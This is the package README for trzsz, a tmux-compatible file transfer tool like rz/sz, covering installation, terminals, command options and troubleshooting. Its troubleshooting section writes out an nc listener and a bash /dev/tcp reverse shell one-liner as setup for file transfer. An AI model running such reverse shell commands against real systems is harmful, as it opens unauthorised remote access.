Package: trzsz
trzsz ( trz / tsz ) - similar to ( rz / sz ) and compatible with tmuxtrzsz( trz / tsz ) is a simple file transfer tools, similar tolrzsz( rz / sz ), and compatible withtmux.How to useInstalltrzsz( trz / tsz ) on the server.go,pyandjsversions are compatible with each other.Use supported terminal on local. Usetrzsz-ssh ( tssh )on local shell, or refer toSupported Terminalsbelow.Use thetrz( similar torz) to upload files, and use thetsz( similar tosz) to download files.Why to doConsideringlaptop -> hostA -> hostB -> docker -> tmux, usingscporsftpis inconvenience.In this case,lrzsz( rz / sz ) is convenient to use, but unfortunately it's not compatible withtmux.tmuxis not going to support rz / sz (906,1439), sotrzsz( trz / tsz ) was developed.AdvantageSupporttmux, including tmux normal mode, and tmux command mode integrated with iTerm2.Supporttransfer directories,trz -dto upload directories,tsz -d xxxto download xxx directories.Supportbreakpoint resume,trz -yortsz -y xxxoverwrite exiting files will auto resume from breakpoint.SupportWindows server, not only can run on Windows client, but also can run on Windows ssh server.Supportnative terminal, does not require terminal to support, just usetrzsz ssh x.x.x.xto login.Supportweb terminal, transfer files and directories between local and remote servers over the web.Supportdrag to upload, drag and drop files and directories to the terminal to upload to the remote server.Supportprogress bar, shows the current transferring file name, progress, size, speed, remaining time, etc.Betterinteractive experience, shows the transfer results or errors friendly,ctrl + cto stop gracefully.InstallationOn the serverInstallthe Go version( ⭐ Recommended )Please check the Go version installation guide:https://trzsz.github.io/goOr install with Python3sudo python3 -m pip install --upgrade trzszOr install with Python2sudo python2 -m pip install --upgrade trzszOr install with Homebrewbrew update
brew install trzszOr install with Node.jssudo npm install -g trzszCan be installed withoutsudo, just add the installation path ( e.g.~/.local/bin) to thePATHenvironment.Supported Terminalstrzsz-ssh( tssh ) -- simple ssh client with trzsz support ( ⭐ Recommended ).iTerm2-- checkthe trzsz-iterm2 installation.tabby-- install thetabby-trzszplugin.electerm-- upgrade to1.19.0or higher.ttyd-- upgrade to1.7.3or higher, and start with-t enableTrzsz=true, usehttpsunless localhost.trzsz-go-- supports all terminals that support a local shell.trzsz.js-- making webshell in browser and electron terminal supportstrzsz.Does your terminal supportstrzszas well? Please let me know. I would love to have it on the list.Trzsz Manualtrzupload files to the remote serverusage: trz [-h] [-v] [-q] [-y] [-b] [-e] [-d] [-B N] [-t N] [path]

Receive file(s), similar to rz and compatible with tmux.

positional arguments:
  path               path to save file(s). (default: current directory)

optional arguments:
  -h, --help         show this help message and exit
  -v, --version      show program's version number and exit
  -q, --quiet        quiet (hide progress bar)
  -y, --overwrite    yes, overwrite existing file(s)
  -b, --binary       binary transfer mode, faster for binary files
  -e, --escape       escape all known control characters
  -d, --directory    transfer directories and files
  -r, --recursive    transfer directories and files, same as -d
  -B N, --bufsize N  max buffer chunk size (1K<=N<=1G). (default: 10M)
  -t N, --timeout N  timeout ( N seconds ) for each buffer chunk.
                     N <= 0 means never timeout. (default: 20)tszdownload files from the remote serverusage: tsz [-h] [-v] [-q] [-y] [-b] [-e] [-d] [-B N] [-t N] file [file ...]

Send file(s), similar to sz and compatible with tmux.

positional arguments:
  file               file(s) to be sent

optional arguments:
  -h, --help         show this help message and exit
  -v, --version      show program's version number and exit
  -q, --quiet        quiet (hide progress bar)
  -y, --overwrite    yes, overwrite existing file(s)
  -b, --binary       binary transfer mode, faster for binary files
  -e, --escape       escape all known control characters
  -d, --directory    transfer directories and files
  -r, --recursive    transfer directories and files, same as -d
  -B N, --bufsize N  max buffer chunk size (1K<=N<=1G). (default: 10M)
  -t N, --timeout N  timeout ( N seconds ) for each buffer chunk.
                     N <= 0 means never timeout. (default: 20)Trouble shootingIftmuxis running on the local computer.Option 1: Usetmux -CCintegration with iTerm2, please refer toiTerm2 tmux Integration.Option 2: Installtrzsz-goon the local computer, usetrzsz sshto login aftertmux.Option 3: Installtrzsz-sshon the local computer, usetsshto login aftertmux.Iftmuxis running on the jump server.Option 1: Usetmux -CCintegration with iTerm2, please refer toiTerm2 tmux Integration.Option 2: Installtrzsz-goon the jump server, usetrzsz -r sshto login aftertmux.Option 3: Installtrzsz-sshon the jump server, usetsshto login aftertmux.If an error occurs, andtrzszis hanging up.Presscontrol + cto stoptrzortszprocess on the server.For iTerm2 users, presscommand + option + shift + rto stopiTerm2 Coprocesses.Iftrz -bbinary upload fails, and login to server usingtelnetordocker exec.Try to escape all known control characters, e.g.,trz -eb.Iftrz -bortsz -bbinary transfer fails, and login to server usingexpect.Try toexport LC_CTYPE=Cbefore theexpectscript. e.g.:#!/bin/sh
export LC_CTYPE=C
expect -c '
  spawn ssh xxx
  expect "xxx: "
  send "xxx\n"
  interact
'If you want to upload and download usingtrz / tszin a reverse shell, you need to follow these steps:1. Usetssh xxxortrzsz ssh xxxto log in to the server.2. Executenc -lnv 1337on the server, and wait for the reverse shell connection.3. Reverse connect to the server on the target, such asbash -i >& /dev/tcp/192.168.0.1/1337 0>&1.4. Follow these steps in the reverse shell:4.1. Convert to an interactive shell, such aspython3 -c 'import pty; pty.spawn("/bin/bash")'.4.2. Pressctrl + zto turn the reverse shell into background.4.3. Executestty raw -echo; fgto disable the echo of the server, and return to the reverse shell.4.4. Press the Enter key, and the command line prompt will be displayed.4.5. Set the terminal environment variableexport TERM=xterm-256color( not necessary ).4.6. Check if there is aTMUXenvironment variable, clear it withunset TMUX.4.7. Now you can usetrz / tszto upload and download as normal.5. After exiting the interactive shell, there will be no echo, typeexitblindly to exit the reverse shell.6. Typeresetblindly on the server and press Enter to reset the default settings of the terminal.ScreenshotUsing trzsz in iTerm2 withtextprogress barUsing trzsz in iTerm2 withzenityprogress barUsing trzsz in tabby withtabby-trzszpluginContactFeel free to email the authorlonnywong@qq.com, or create anissue. Welcome to join the QQ group: 318578930.Sponsor❤️ Sponsor trzsz ❤️, buy the author a drink 🍺 ? Thank you for your support!